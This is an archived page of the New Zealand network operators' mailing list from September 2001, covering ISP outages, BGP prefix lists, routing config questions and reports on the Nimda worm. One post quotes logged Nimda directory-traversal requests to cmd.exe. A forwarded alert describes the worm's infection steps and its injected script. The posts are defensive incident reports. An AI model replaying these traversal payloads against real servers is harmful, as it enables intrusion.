4914 "Certainly, Windows XP is no Calista Flockhart. XP has so much pomp and circumstance that it's front-end weighs more than that of the cast of Baywatch." -- JonnyGURU, http://www.systemlogic.net/agurusworld/19/ This email with any attachments is confidential and may be subject to legal privilege. If it is not intended for you please reply immediately, destroy it and do not copy, disclose or use it in any way. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: Telstra Saturn off air?
by PhoneNet 21 Sep '01

21 Sep '01

Thanks to Juha and David for the replies.... we are on a Citylink connection to Netlink and could get anywhere inside NZ but until 5:30pm approx could get no further... My sister rang me to see what was up also as she could not log in to Paradise via phone... Mind you I'd still like the courtesy of a call from Telstra Saturn to explain the problem...... after all I'm a business and paying business rates for a service.... Ian --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Telstra Saturn off air?
by PhoneNet 21 Sep '01

21 Sep '01

Anyone out there tell me if Telstra Saturn has gone off the air.... I've reported a failure to their afterhours help-desk (answered by no less than an answering service!) indicating we have been unable to get to any destination outside New Zealand for almost three hours - I've yet to receive a response.... We are running on our backup facility using one of their competitors but this is less than satisfactory... and sadly its not the first time its happened recently.... Anyone got any inside info ?.... Ian Cousins Director, PhoneNet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: [jim@cyberjunkees.com: Re: FW: Worm probes]
by robbie_gernandt＠wilsonandhorton.co.nz 21 Sep '01

21 Sep '01

W32.Nimda.A(a)mm GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../ ..%c1%1c../winnt/system32/cmd.exe?/c+dir GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir We're getting hit at about 72 hits per minute, mostly from 203.x.x.x Robbie Gernandt Network Consultant Wilson & Horton Ltd *************************************************************************** This may contain privileged and confidential information intended only for the use of the intended recipient. If you are not the intended recipient of this message, any use, dissemination, distribution or reproduction of this message is prohibited. Any views expressed in this message are those of the individual sender and may not necessarily reflect the views of Wilson & Horton Limited. For more information on Wilson & Horton please visit our web site at http://www.wilsonandhorton.co.nz ***************************************************************************

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Update to ihug prefix list.
by Simon Lyall 20 Sep '01

20 Sep '01

For anyone peering with us I've just made an update to our current list of prefixes. The change is this one has been added: ip prefix-list ihug-networks seq 22 permit 202.37.187.0/24 Complete list should be: ip prefix-list ihug-networks seq 5 permit 202.36.94.0/23 le 24 ip prefix-list ihug-networks seq 10 permit 202.37.129.0/24 ip prefix-list ihug-networks seq 15 permit 202.37.136.0/24 ip prefix-list ihug-networks seq 20 permit 202.37.182.0/24 ip prefix-list ihug-networks seq 22 permit 202.37.187.0/24 ip prefix-list ihug-networks seq 25 permit 202.37.194.0/24 ip prefix-list ihug-networks seq 30 permit 202.49.59.0/24 ip prefix-list ihug-networks seq 35 permit 202.49.88.0/23 le 24 ip prefix-list ihug-networks seq 40 permit 202.49.148.0/23 le 24 ip prefix-list ihug-networks seq 45 permit 202.49.176.0/23 le 24 ip prefix-list ihug-networks seq 50 permit 202.49.180.0/23 le 24 ip prefix-list ihug-networks seq 55 permit 202.49.186.0/24 ip prefix-list ihug-networks seq 60 permit 202.49.240.0/22 le 24 ip prefix-list ihug-networks seq 65 permit 202.49.249.0/24 ip prefix-list ihug-networks seq 70 permit 202.49.252.0/22 le 24 ip prefix-list ihug-networks seq 75 permit 202.50.84.0/24 ip prefix-list ihug-networks seq 80 permit 202.50.103.0/24 ip prefix-list ihug-networks seq 85 permit 202.50.255.0/24 ip prefix-list ihug-networks seq 90 permit 203.109.128.0/17 le 24 ip prefix-list ihug-networks seq 95 permit 203.173.128.0/17 le 24 ip prefix-list ihug-networks seq 100 permit 210.55.184.0/24 ip prefix-list ihug-networks seq 105 permit 210.55.203.0/24 ip prefix-list ihug-networks seq 110 permit 210.55.248.0/21 le 24 Any problems please let me know. Simon. -- Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Fw: Bizarre moneygrubbing structure of ADSL charging
by Brian Gibbons 19 Sep '01

19 Sep '01

>From: "J S Russell" <jsr(a)jsr.com> >Looking at the figures on resource usages and costs vs margins and >turnover for adsl users, my bet is that most ISP's wouldn't give two shits >about them all leaving for a different product. >I was going to add a footnote here with an analysis of the bizarre, >moneygrubbing structure of ADSL charging by a certain large NZ telco, but >I realised I was preaching to the choir by doing so in _this_ mailing >list. I think you are wrong, no ISP has ever complained about margins and the ADSL charging structure on this list. What's so bizzare about it? --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: [jim@cyberjunkees.com: Re: FW: Worm probes]
by Juha Saarinen 19 Sep '01

19 Sep '01

:: However, I firmly believe that if you are connected to a :: network outside :: your administrative control, you should treat it as a :: hostile environment, :: and protect your network (the network under your :: administrative control) :: accordingly. Sure, that's what anyone does, after five minutes of exposure to the Wild and Woolly Internet. ;-) The issue that I'm trying to raise is that even though my network is locked down tight, I'm still being bombarded by traffic that I don't want, and which terminates at my router, even though I reject/drop that traffic. So, I pay for that traffic. I think it would be a great PR move for ISPs to help their customers, who obviously don't have control over the upstream network, to ditch unwanted/hostile traffic further upstream. In the light of SirCam, Code Red Mk I and II, NIMDA, etc, it's becoming downright dangerous for your financial health to operate a Jetstream connection. A firewall and antivirus will only keep the local network clean; they can't do anything about incoming traffic. -- Juha --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Cleaner for Nimda Virus
by Aaron Roydhouse 19 Sep '01

19 Sep '01

Thought people might like to have this handy. Luckily I haven't had to test it myself. Aaron. ----- Original Message ----- From: "Sheldon Koehler" <skoehler(a)tenforward.com> Sent: Thursday, September 20, 2001 6:28 AM Subject: Re: [imail] Nimda Virus > trend has a cleaner!!!! First test on a W95 was successful. NT is next... > > http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VNa me=PE_NIMDA.A --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Problem with Clear to ihug BGP session.
by Simon Lyall 18 Sep '01

18 Sep '01

Could someone at Clear please have a look at this, we had max prefixes set at 200 and it's gone through that, I bumped them to 1000 and it's over that as well. I guess somebody stuffed up their filters. 192.203.154.8 4 4768 178091 180817 0 0 0 03:17:57 Idle (PfxCt) 203.167.249.41 4 4768 177189 178948 0 0 0 03:17:40 Idle (PfxCt) All peering traffic is currently going via Netgate etc. I tried ringing a few clear numbers we had and non of the guys seemed able to look at the problem. I suggested email here and one agreeded. Anyway call our noc on 09 359 2708 if you need to talk to the duty guy here. -- Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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missing posts from nznog archives
by Joe Abley 18 Sep '01

18 Sep '01

The archives at http://list.waikato.ac.nz/archives/nznog seem to be truncated (at least for recent months). I was looking for a link to Lindsay Druett's message of August 6 about the final decommissioning of the NZIX, and couldn't find it. Is anybody else keeping archives on-line anywhere? Joe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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[jim@cyberjunkees.com: Re: FW: Worm probes]
by Joe Abley 18 Sep '01

18 Sep '01

Sorry for the lame cross-list fertilisation, but this seemed like a nice comprehensive summary. I'm getting hit by this big-time, here. ----- Forwarded message from Jim Olsen <jim(a)cyberjunkees.com> ----- Delivered-To: jabley-nanog(a)automagic.org Delivered-To: nanog-outgoing(a)trapdoor.merit.edu Delivered-To: nanog(a)trapdoor.merit.edu Delivered-To: nanog(a)merit.edu From: Jim Olsen <jim(a)cyberjunkees.com> Reply-To: jim(a)cyberjunkees.com Organization: CyberJunkees To: "'nanog(a)merit.edu'" <nanog(a)merit.edu> Subject: Re: FW: Worm probes Date: Tue, 18 Sep 2001 14:03:52 -0400 X-Mailer: KMail [version 1.2.3] In-Reply-To: <F16E03C431B5D211893000104BC5C1A70BC168A3(a)powaymail.credco.firstam.com> Precedence: bulk Errors-To: owner-nanog-outgoing(a)merit.edu X-Loop: nanog This is the information i've collected thus far on W32.nimda: W32.nimda is NOT a code red variant, and the people who referring to it as "Code Blue" were mistaken... The name it has been given (at least by TruSecure) is W32.nimda.a.mm. It uses several vulnerabilities in Windows NT and 2000 server's to infect a server, and also employ's email and web site mobile code to infect Windows 9x/ME/NT/2k boxes. During the initial infection of a server, the worm does the following: - download a file named "admin.dll" via tftp from the system that is trying to infect the target - add the guest account to the local administrators group and activates the account - makes sure c$ is shared out - copies itself to c, d, and e drives - tries to mail itself to email addresses that it discovers on the server - creates a file named readme.exe, which is used in the mobile code inserted on the web sites below - add this string to the web pages found on the server: <html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html> - scans for and infects other vulnerable IIS servers - goes through all shared directories and puts sample.nws, sample.eml, desktop.eml, desktop.nws in each directory. these are eml messages with copies of itself (readme.exe) autoloaded by the mobile html code mentioned above. - goes through all shared directories and puts riched20.dll in each directory, which is a trogan dll version of W32.nimda that is meant to infect people running notepad/wordpad in that directory. - puts a trojan mmc.exe in the winnt directory that is a copy of itself in the above "readme.exe" format (win2000 only) If a user views a web site that is hosted on an infected server, the following happens: - upon viewing an infected page, the mobile code extracts to readme.exe and starts in windows media player (without user intervention) - the user's machine becomes infected with W32.nimda at this point and time - the worm starts scanning for other vulnerable IIS servers - the worm emails itself to everyone on the user's address book - goes through all shared directories and puts sample.nws, sample.eml, desktop.eml, desktop.nws in each directory. these are eml messages with copies of itself (readme.exe) autoloaded by the mobile html code mentioned above. - goes through all shared directories and puts riched20.dll in each directory, which is a trogjan dll version of W32.nimda that is meant to infect people running notepad/wordpad in that directory. - puts a trojan mmc.exe in the winnt directory that is a copy of itself in the above "readme.exe" format (win2000 only) It us unknown to me what happens (at this point in time) if a user opens an attachment that is sent from an infected site. It is possible that it could automatically infect the user's computer using the same methods mentioned above. EVERYONE who uses internet explorer to browse the internet should probably do one of two things to stop from being automatically infected by W32.nimda (i have not tested whether or not turning off javascript fixes the problem): o) don't browse web pages until microsoft releases a patch o) turn OFF javascript EVERYONE who uses outlook/outlook express should, at the very least, not open any attachments that they are not expecting. Turning off auto-preview might be a good idea as well. Slashdot has an article discussing this: http://slashdot.org/articles/01/09/18/151203.shtml On Tuesday 18 September 2001 11:33, Braun, Mike wrote: > I received this warning from TruSecure regarding the latest worm attack. > > Mike Braun > First American CREDCO > > -----Original Message----- > TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm > > Date: September 18, 2001 > Time: 1000 EDT > > RISK INDICES: > > Initial Assessment: RED HOT > > Threat: VERY HIGH, (rapidly increasing) > > Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0, > 5.0, and internal networks. > > Cost: High, command execution is possible > > Vulnerable Systems: IIS 4.0 and 5.0 > > SUMMARY: > A new IIS worm is spreading rapidly. Its working name is Nimda: > W32.nimda.a.mm > > It started about 9am eastern time today, Tuesday,September 18, 2001, > Mulitple sensors world-wide run by TruSecure corporation are getting > multiple hundred hits per hour. And began at 9:08am am. > > The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for > multiple vulnerabilities including: > > Almost all are get scripts, and a get msadc (cmd.exe) > get_mem_bin > vti_bin owssvr.dll > Root.exe > CMD.EXE > ../ (Unicode) > Getadmin.dll > Default.IDA > /Msoffice/ cltreq.asp > > This is not code red or a code red variant. > > The worm, like code red attempts to infect its local sub net first, > then spreads beyond the local address space. > > It is spreading very rapidly. > > TruSecure believes that this worm will infect any IIS 4 and IIS 5 > box with well known vulnerabilities. We believe that there are > nearly 1Million such machines currently exposed to the Internet. > > Risks Indices: > Vulnerability VULNERABILITY PREVALANCE is very high - Milllions of > Internet Web server hosts: TruSecure process and essential > configurations should generally be protective. The vulnerability > prevalence world-wide is very high > > Threat - VERY HIGH and Growing The rate of growth and spread is > exceedingly rapid - significantly faster than any worm to date and > significantly faster than any variant of Code red. > > Cost -- Unknown, probably moderate per infected system. > > > The worm itself is a file called > README.EXE, or ADMIN.DLL > a 56K file which is advertised as an audio xwave mime type file. > > Other RISKS: > There is risk of DOS of network segments by traffic volume alone > There is large risk of successful attack to both Internet exposed IIS > boxes and to developer and Intranet boxes inside of corporations. > > Judging by the Code Red II experience, we expect many subtle routes > of infection leading to inside corporate infections. > > We cannot discount the coincidence of the date and time of release, > exactly one week to (probably to the minute) as the World Trade > Center attack . > > > REPLICATION: > There are at least three mechanisms of spread: > The worm seems to spread both by a direct IIS across Internet (IP > spread) > It probably also spreads by local shares. (this is not known for > sure at this time) > There is also an email vector where README.EXE is sent via email to > numerous accounts. > > Mitigations > TruSecure essential practices should work. > Block all email with EXE attachments > Filter for README.EXE > Make sure IIS boxes are well patched and hardened, or removed from > both the Internet and Intranets. > Make sure any developer computing platforms are not running IIS of > any version (many do so by default if either. > Disconnect mail from the Internet > Advise users not to double click on any unexpected attachments. > Update anti-virus when your vendor has the signature. > > > -----Original Message----- > From: Bryan Heitman [mailto:bryanh(a)communitech.net] > Sent: Tuesday, September 18, 2001 8:22 AM > To: nanog(a)merit.edu > Subject: Re: Worm probes > > > > We're also seeing a large increase in this activity. This seems to be more > severe than the first time. Have an additional 30 to 40 meg inbound from > this. > > Best regards, > > > Bryan Heitman > CommuniTech.Net, Inc. > ----- Original Message ----- > From: <up(a)3.am> > To: <nanog(a)merit.edu> > Sent: Tuesday, September 18, 2001 10:05 AM > Subject: Re: Worm probes > > > ugh...this is way more impact...a 128k ISDN customer running an NT/Win2k > > box is at 100% BW, and my 2x T1's are at about 2x normal traffic for this > > time of day, although still well short of capacity...apache server > > processor load is WAY up just from the requests, and the logs are growing > > like mad. > > > > On Tue, 18 Sep 2001, deeann mikula wrote: > > > On Tue, 18 Sep 2001, ravi pina wrote: > > > > On Tue, Sep 18, 2001 at 09:54:31AM -0400, sigma(a)pair.com said at one > > point in time: > > > > > Has anyone else been seeing a dramatic increase in /scripts/.. NT > > worm > > > > > > probes this morning? We're seeing about 8000/second, starting > > around 9:15 > > > > > > Eastern time, to and from a wide variety of addresses. > > > > > > > > affirmative. i just looked at my logs, and it looks like > > > > each probe tries a bunch of things. i haven't seen much > > > > on the lists, but i'm looking right now. > > > > > > i'm pretty sure that the worm's attack phase starts on the 20th (which > > > of course, depends upon a correctly set system clock) and also that > > > attempting to execute something like /scripts/root.ext/c++ something > > > is involved. > > > > > > i think that cert's website would be a good place to look. i'm *not* > > > a security/virus chick, but i did host a talk by marty linder of cert > > > where he discected code red's activity and presented a summary. > > > > > > cert is of course, http://www.cert.org. > > > > > > > > > deeann m.m. mikula > > > > > > director of operations > > > telerama public access internet > > > http://www.telerama.com > > > 1.877.688.3200 > > > > James Smallacombe PlantageNet, Inc. CEO and Janitor > > up(a)3.am http://3.am > > ========================================================================= > > "MMS <firstam.com>" made the following > annotations on 09/18/01 08:34:15 > --------------------------------------------------------------------------- >--- "THIS E-MAIL MESSAGE AND ANY FILES TRANSMITTED HEREWITH, ARE INTENDED > SOLELY FOR THE USE OF THE INDIVIDUAL(S) ADDRESSED AND MAY CONTAIN > CONFIDENTIAL, PROPRIETARY OR PRIVILEGED INFORMATION. IF YOU ARE NOT THE > ADDRESSEE INDICATED IN THIS MESSAGE (OR RESPONSIBLE FOR DELIVERY OF THIS > MESSAGE TO SUCH PERSON) YOU MAY NOT REVIEW, USE, DISCLOSE OR DISTRIBUTE > THIS MESSAGE OR ANY FILES TRANSMITTED HEREWITH. IF YOU RECEIVE THIS > MESSAGE IN ERROR, PLEASE CONTACT THE SENDER BY REPLY E-MAIL AND DELETE THIS > MESSAGE AND ALL COPIES OF IT FROM YOUR SYSTEM." > > =========================================================================== >=== -- "Computer games don't affect kids, I mean if Pacman affected us as kids, we'd all be running around in darkened rooms, munching pills, and listening to repetitive music." ~unknown **** Jim Olsen Systems Administrator CyberJunkees **** ----- End forwarded message ----- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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OSPF Between Cisco and Ascend 6000
by Craig Whitmore 18 Sep '01

18 Sep '01

Hi there.. I am having trouble getting OSPF between Cisco's and Max6000. The Cisco's work ok with ospf, but the max can see the ospf routes advertised from the other Cisco's, but it cannot send out updates when someone connects to it. Anyone know where a Cisco<->Max OSPF Faq can be found (so I can get it working) Or maybe a Max4000/6000 Config that works from someone else? The Config are below: Cisco: router ospf 14 redistribute connected metric 1 metric-type 1 subnets redistribute static metric-type 1 subnets network x.x.x.x 0.0.0.15 area 14 Ascend: RUNOSPF=Yes Area=0.0.0.14 AreaType=Normal HelloInterval=10 DeadInterval=40 Priority=100 AuthType=None Cost=1 TransmitDelay=1 RestransmitInterval=5

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nz bgp stat collection
by Joe Abley 14 Sep '01

14 Sep '01

I have been collecting bgp stats from a number of nz operators for some time, using a box located near the APE in Auckland. I am currently producing lists of unique prefixes, aggregates and ASNs in use within NZ (with some graphs showing growth), and am storing periodic snapshots of the RIB for analysis later on (e.g. for comparison with other measurements efforts elsewhere, to see how NZ is similar or different to global views of the network). If there is some interest, I could also add some looking-glass functionality, or maybe some open telnet access to the console similar to that at route-views.oregon-ix.net (assuming those that are feeding me routes are happy with that). Data is available at: http://maggie.automagic.org/ I currently have 9 BGP sessions to various operators, which includes views of all the major international transit providers (either directly or through their customers). I would like to add more, though, to make sure the picture I'm seeing is representative, and to keep it accurate in the event that individual sessions go down for some reason. All I need is a multi-hop bgp session from one of your routers to my router in the sky tower. I will never send you any prefixes; you can send me as many as you like (the more the better). If you're an operator that uses BGP to peer and obtain transit from other networks, and feel like helping, please drop me a line so we can set something up. Thanks! Joe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Cisco 806 - anybody have a config for L2TP?
by Ben Martel 13 Sep '01

13 Sep '01

Hi all, I am looking for a working config for an 806 (IOS 12.2.2) that has it acting as a LAC. The issue I can't seem to resolve is whether IOS supports the instantiation of the tunnel without an inbound PPP session to trigger it. Essentially I want the router to boot and then make the L2TP tunnel to the LNAS all on its little lonesome. This interface will then become the default route interface. Anybody done it? TIA ~ben =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ Ben Martel Ph: +64 9 9124067 CLEAR Net Development Fax:+64 9 9125008 Mob:+64 21 541202 =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Carnivore revived
by Dean Pemberton 12 Sep '01

12 Sep '01

Can anyone with contacts in the US core give some more insight on this article? FBI agents arrived at core noderooms the other day with Carnivore units and offered to pay for links http://www.wired.com/news/politics/0,1283,46747,00.html --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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aussie-isp
by Phill Groom 12 Sep '01

12 Sep '01

For those poor souls who asked me how to subscribe to the Australia version of nznog, send mail to majordomo(a)koala.aussie.net with "subscribe aussie-isp" in the body (without the quotes!). I challenge you to last more than a day! Phill. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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noise
by Phill Groom 12 Sep '01

12 Sep '01

G'day all, When I returned to Australia I re subscribed to the aussie-isp list. This was a huge mistake. The list is full of absolute garbage. The current topic seems to be whether or not Microsoft Flight Simulator would equip you with the skills to fly a large airplane into an even larger building. With only minor exceptions nznog has always been (at least for the two years that I was in NZ) used as a tool by cluefull New Zealand (and many ex NZ) network operators. There are obviously others hanging around, but comments are generally on topic and useful. Please don't let this list go the same way as the Australian one. If it does then I suggest that most network operators will probably take their comments to a private list and leave the crap for everyone else. Phill. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: Julian Angelo
by Simon Byrnand 12 Sep '01

12 Sep '01

At 05:33 PM 11/09/01 -0400, !Dr. Joe Baptista wrote: >On Wed, 12 Sep 2001, Philip Beckmann wrote: > >> All Matthew is doing is warning the rest of us that Julian is at it again. >> And rightly so. Get a life. > >You seem to be taking this personally philip. as the vendor of a service >to whoever this Julian Angelo he has no right to tell us anything. Read >my comments concerning the legal implications and educate yourself >accordingly. The fact that there is a privacy law further agreivates the >issue. Joe, Regardless of whether what Matthew did is right, (and I don't happen to have a problem with it) it is clear that you're just using this as yet-another-opertunity(tm) to troll this mailing list. I can't speak for others, but I for one am sick and tired of known trolls who go out of their way to provoke off-topic flamefests which have little if any relevance to the mailing list. I didn't subscribe to this mailing list to watch installments of the Joe Baptista vs nznog soap opera, but to keep in touch with issues relevant to the internet in NZ. Whether you like it or not, warning that a notorious spammer is back in action is relevant, and your diatribe is not. If Matthew gets in trouble for saying what he did, that's his problem, and its not for you to lecture him on the rights or wrongs of doing what he did. In the interests of minimizing offtopic flaming (which is your goal, after all) I won't be responding to any further replies or messages from you, and I urge others to do the same. Regards, Simon Byrnand (speaking for myself) iGRIN Internet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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